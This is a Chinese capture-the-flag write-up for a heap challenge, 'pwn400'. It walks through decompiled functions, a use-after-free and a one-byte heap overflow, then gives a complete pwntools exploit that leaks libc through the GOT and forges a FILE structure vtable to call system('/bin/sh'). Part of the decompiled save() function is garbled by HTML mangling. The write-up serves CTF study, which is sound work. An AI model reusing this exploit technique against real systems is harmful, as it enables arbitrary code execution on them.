##0x01·逆向
程序提供6个选单
其中多个函数不可重入
main函数 存在一个输出点
create()函数 不可冲入
__int64 create_400C3A()
{
_DWORD *v1; // [sp+10h] [bp-F0h]@2
char s; // [sp+20h] [bp-E0h]@5
__int64 v3; // [sp+F8h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
if ( second_6021B8 )#重入条件判断 位于bss段
{
puts("You can only post one Crowdfunding");
}
else
{
second_6021B8 = 1;
v1 = calloc(0x18uLL, 1uLL);
if ( !v1 )
exit(0);
if ( !name_6020D8 )
{
puts("well,give me your name pls.");
input_400B11(&s, 0xC8u);
if ( strlen(&s) > 0x18 )#由name的长度决定存放位置
{
name_6020D8 = strdup(&s);
}
else
{
memcpy(&byte_6020C0, &s, 0x14uLL);
name_6020D8 = &byte_6020C0;#注意这个指针在bss段附近指针
}
if ( !name_6020D8 )
exit(0);
}
puts("How many seconds would you want to Crowdfund?");
*v1 = sub_400BC6();
printf("+%ds!\n", *v1);
v1[2] = aIfAManIsWillin;
v1[4] = 0;
ptr = v1;
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
bss段指针分布 可以发现存放name值附近有name指针
.data:00000000006020A0 ; Segment type: Pure data .data:00000000006020A0 ; Segment permissions: Read/Write .data:00000000006020A0 ; Segment alignment '32byte' can not be represented in assembly .data:00000000006020A0 _data segment para public 'DATA' use64 .data:00000000006020A0 assume cs:_data .data:00000000006020A0 ;org 6020A0h .data:00000000006020A0 align 40h .data:00000000006020C0 byte_6020C0 db 31h ; DATA XREF: sub_400A16+4w .data:00000000006020C0 ; create_400C3A+D7o ... .data:00000000006020C1 db 0 .data:00000000006020C2 db 0 .data:00000000006020C3 db 0 .data:00000000006020C4 db 0 .data:00000000006020C5 db 0 .data:00000000006020C6 db 0 .data:00000000006020C7 db 0 .data:00000000006020C8 db 0 .data:00000000006020C9 db 0 .data:00000000006020CA db 0 .data:00000000006020CB db 0 .data:00000000006020CC db 0 .data:00000000006020CD db 0 .data:00000000006020CE db 0 .data:00000000006020CF db 0 .data:00000000006020D0 db 0 .data:00000000006020D1 db 0 .data:00000000006020D2 db 0 .data:00000000006020D3 db 0 .data:00000000006020D4 db 0 .data:00000000006020D5 db 0 .data:00000000006020D6 db 0 .data:00000000006020D7 db 0 .data:00000000006020D8 name_6020D8 dq 1 ; DATA XREF: sub_400A16+Bw .data:00000000006020D8 ; create_400C3A:loc_400CB6r ... .data:00000000006020E0 aIfAManIsWillin db 'If a man is willing to sacrifice his life for the interests of hi' .data:00000000006020E0 ; DATA XREF: create_400C3A+160o .data:00000000006020E0 db 's country, he will never mind things concerning his personal fort' .data:00000000006020E0 db 'unes and misfortunes.',0Ah .data:00000000006020E0 db 'Man I',27h,'m gonna donate all my seconds to our Holy Toad Empyre!',0 .data:00000000006021B5 align 8 .data:00000000006021B8 second_6021B8 dd 1 ; DATA XREF: sub_400A16+16w .data:00000000006021B8 ; create_400C3A+3Ar ... .data:00000000006021BC align 20h .data:00000000006021C0 ; void *ptr .data:00000000006021C0 ptr dq 1 ; DATA XREF: sub_400A16+20w .data:00000000006021C0 ; create_400C3A+196w ... .data:00000000006021C8 ; FILE *qword_6021C8 .data:00000000006021C8 qword_6021C8 dq 1 ; DATA XREF: sub_400A16+2Bw .data:00000000006021C8 ; save_400FF9+9Er ... .data:00000000006021D0 advise_6021D0 dd 1 ; DATA XREF: sub_400A16+36w .data:00000000006021D0 ; save_400FF9+16r ... .data:00000000006021D0 _data ends .data:00000000006021D0 .bss:00000000006021E0 ; =========================================================================== .bss:00000000006021E0 .bss:00000000006021E0 ; Segment type: Uninitialized .bss:00000000006021E0 ; Segment permissions: Read/Write .bss:00000000006021E0 _bss segment para public 'BSS' use64 .bss:00000000006021E0 assume cs:_bss .bss:00000000006021E0 ;org 6021E0h .bss:00000000006021E0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing .bss:00000000006021E0 public stdout .bss:00000000006021E0 ; FILE *stdout .bss:00000000006021E0 stdout dq ? ; DATA XREF: init400A59+27r .bss:00000000006021E0 ; Copy of shared data .bss:00000000006021E8 align 10h .bss:00000000006021F0 public stdin .bss:00000000006021F0 ; FILE *stdin .bss:00000000006021F0 stdin dq ? ; DATA XREF: init400A59+13r .bss:00000000006021F0 ; Copy of shared data .bss:00000000006021F8 byte_6021F8 db ? ; DATA XREF: sub_4009D0r .bss:00000000006021F8 ; sub_4009D0+13w .bss:00000000006021F9 align 20h .bss:00000000006021F9 _bss ends .bss:00000000006021F9edit函数 可重入
int edit_400DFA()
{
int result; // eax@2
unsigned int v1; // eax@5
if ( ptr )
{
if ( second_6021B8 )
{
puts("inputs seconds:");
v1 = sub_400BC6();
*ptr = v1;
result = printf("Ok,the Crowdfunding is +%ds now!", v1);
}
else
{
result = puts("No Crowdfunding to edit!");
}
}
else
{
result = puts("No Crowdfunding to edit!");
}
return result;
}
delete()函数 可冲入
int delte_400E6C()
{
int result; // eax@2
if ( ptr )
{
if ( second_6021B8 )
{
free(ptr);#free后没有清空ptr 存在uaf
result = puts("OK,the Crowdfunding is deleted!");
}
else
{
result = puts("No Crowdfunding to delete!");
}
}
else
{
result = puts("No Crowdfunding to delete!");
}
return result;
}
show()函数 只有单纯显示功能
int show_400EBA()
{
name_6020D8 = 0LL;
return printf("Aha We have already have +%d seconds", second_6021B8);
}
submit()函数 可重入 可控制fastbin的申请
__int64 submit_400EE3()
{
char buf; // [sp+Fh] [bp-41h]@3
char *v2; // [sp+10h] [bp-40h]@1
char *v3; // [sp+18h] [bp-38h]@1
char s[8]; // [sp+20h] [bp-30h]@1
__int64 v5; // [sp+28h] [bp-28h]@1
__int64 v6; // [sp+30h] [bp-20h]@1
__int64 v7; // [sp+38h] [bp-18h]@1
__int64 v8; // [sp+40h] [bp-10h]@1
__int64 v9; // [sp+48h] [bp-8h]@1
v9 = *MK_FP(__FS__, 40LL);
*s = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v2 = 0LL;
v3 = 0LL;
if ( second_6021B8 )
{
puts("Are you sure submit this post?(Y/N)");
read(0, &buf, 1uLL);
if ( buf == 'Y' )
{
puts("Pls give me your e-mail address");
input_400B11(s, 0x28u);
v2 = strdup(s);
if ( !v2 )
exit(0);
puts("OK,e-mail has already posted\nThe last step is do you want to leave some message?");
input_400B11(s, 0x28u);
v3 = strdup(s);
}
}
else
{
puts("No frame to submit!");
}
return *MK_FP(__FS__, 40LL) ^ v9;
}
save()函数 可两次重入
void save_400FF9()
{
_BYTE v0[12]; // [sp+Ch] [bp-14h]@3
void *v1; // [sp+18h] [bp-8h]@5
if ( second_6021B8 )
{
if ( advise_6021D0 > 1 )#初始值为0 比赛时没注意到
{
puts("Sorry,You have already leave advise!");
}
else
{
++advise_6021D0;
puts("Pls input advise size:");
*v0 = sub_400BC6();
if ( *v0 > 0x20 && *v0 <= 1023="" )="" {="" puts("pls="" input="" tiltle");="" v1="malloc(0x28uLL);#申请大小正好" *&v0[4]="malloc(*v0);" if="" (="" !qword_6021c8="" )#file结构体="" 分配后就不再改动="" qword_6021c8="fopen(" .="" database","="" "a+");="" input_400b11(v1,="" 0x30u);#发生一个字节溢出="" 可改变下一个堆大小="" your="" advise");="" input_400b11(*&v0[4],="" *v0="" -="" 16);="" printf("ok!(advise="" allocate="" on="" 0x%x)",="" *&v0[4]);#给出来堆地址="" fwrite(*&v0[4],="" 1ull,="" 16,="" qword_6021c8);="" free(*&v0[4]);="" }="" else="" puts("if="" you="" want="" to="" leave="" advise,pls="" create="" crowdfunding="" first");="" <="" code="">
=>
##0x02.pwn
题目存在两处漏洞,fastbin的uaf可以用来做fastbin attack,由于没有合适的size只能利用来做leak。因为输出点是用%s输出,所以如果函数地址以00结尾会,丢掉1bit。
第二出的一字节溢出可以用来做overlapping,第二次重入,申请足够大的内存,拿到file结构体,伪造需虚表指针指向我们在堆上伪造的续表。
思路:
1.create时使用产犊Alt text小于0x18的串在指针name前放置0x21为fastbin attack做准备
2.free掉ptr指针,ptr释放后没有清空
3.利用submit拿到name指针,修改name指针为got表指针,完成leak libc基址
关于两个知识点:
1.单字节溢出的利用
单字节溢出可改变下一个堆头,从而欺骗malloc和free对操作堆快的大小产生错误的判断,从而拿到相邻堆快内的地址,从而对相邻堆快进行读写。
分配条件size+0x4字节(x86)sieze+0x8(x64)
通过溢出A,改变B的大小。从而获得c的空间
2.file结构体的利用
在文件操作时都会产生file结构体和缓冲区,而file结构体最后一个字节是一个指向需表的指针,所有的文件操作函数,最后都会通过这个续表指针跳转到相应的地址进行处理。
最终exp如下:
from pwn import *
local = 1
slog =1
debug =1
if local:
p = process('./pwn400')#, env={"LD_PRELOAD":"./libc.so.6_pwn400"})
else:
p = remote('119.29.87.226',50004)#nc 119.29.87.226 50004
if slog:context.log_level = 'debug'
elf = ELF('./pwn400')
puts_offset = 0x6fd60
system_offset = 288144
def create(name,secondes):
p.recvuntil('=============================\n')
p.sendline('1')
p.recvuntil('ell,give me your name pls.\n')
p.sendline(name)
p.recvuntil('How many seconds would you want to Crowdfund?\n')
p.sendline(secondes)
def edit(secondes):
p.recvuntil('=============================\n')
p.sendline('2')
p.recvuntil('inputs seconds:\n')
p.sendline(secondes)
def delte():
p.recvuntil('=============================\n')
p.sendline('3')
def show(secondes):
p.recvuntil('=============================\n')
p.sendline('4')
def submit(email,message):
p.recvuntil('=============================\n')
p.sendline('5')
p.recvuntil('Are you sure submit this post?(Y/N)\n')
p.send('Y')
p.sendline(email)
p.recvuntil('The last step is do you want to leave some message?\n')
p.sendline(message)
def save(title,size,advise):
p.recvuntil('=============================\n')
p.sendline('6')
p.recvuntil('Pls input advise size:\n')
p.sendline(size)
p.recvuntil('Pls input tiltle\n')
p.sendline(title)
p.recvuntil('Pls input your advise\n')
p.sendline(advise)
def pwn():
padding = '\x00'*8+'\x21'
create(padding,p64(0x00))
delte()
edit(str(0x6020c0))
submit(p64(0x602018),'AAAAAAAA'+p64(0x602020))
p.sendline('22')
p.recvuntil('Dear ')
puts = p.recvuntil(',')[:-1]
puts = u64(puts+'\x0##0'+'\x00')
libc_addr = puts-puts_offset
system = libc_addr+system_offset
log.info('puts address is '+hex(puts))
log.info('libc address is '+hex(libc_addr))
log.info('system is '+hex(system))
gdb.attach(p,open('debug'))
delte()#因为前面用fastbin泄漏地址时fastbin链表里存有错误地址
edit(p64(0))#这里再次利用uaf将fastbin链表恢复正常
save('A'*0x28+p64(0x271),str(40),'BBBBBBBB')
p.recvuntil("Advise allocate on ")
addr = p.recvuntil(")")[:-1]
print addr
addr = int(addr,16)
log.info('fake heap is ' +hex(addr))
file = '/bin/sh\x00'+p64(0x7fa21f083000)*4+p64(0x7fa21f083018)+p64(0x7fa21f083400)+p64(0x00007fa21f083000)+p64(0x00007fa21f083400)+p64(0)*4+p64(0x4141414141)+p64(system)+p64(0)*2+p64(addr+0xe0+0x30)+p64(0xffffffffffffffff)+p64(0)+p64(addr+0xf0+0x30)+p64(0)*3+p64(0x00000000ffffffff)+p64(0)*2+p64(addr+0x68)+p64(0)*42+p64(addr+0x68+0x200)+p64(system)*121#file结构体和伪造的续表
save('AAAAA',str(1023),file)
p.interactive()
pwn()
enter code here
参考链接: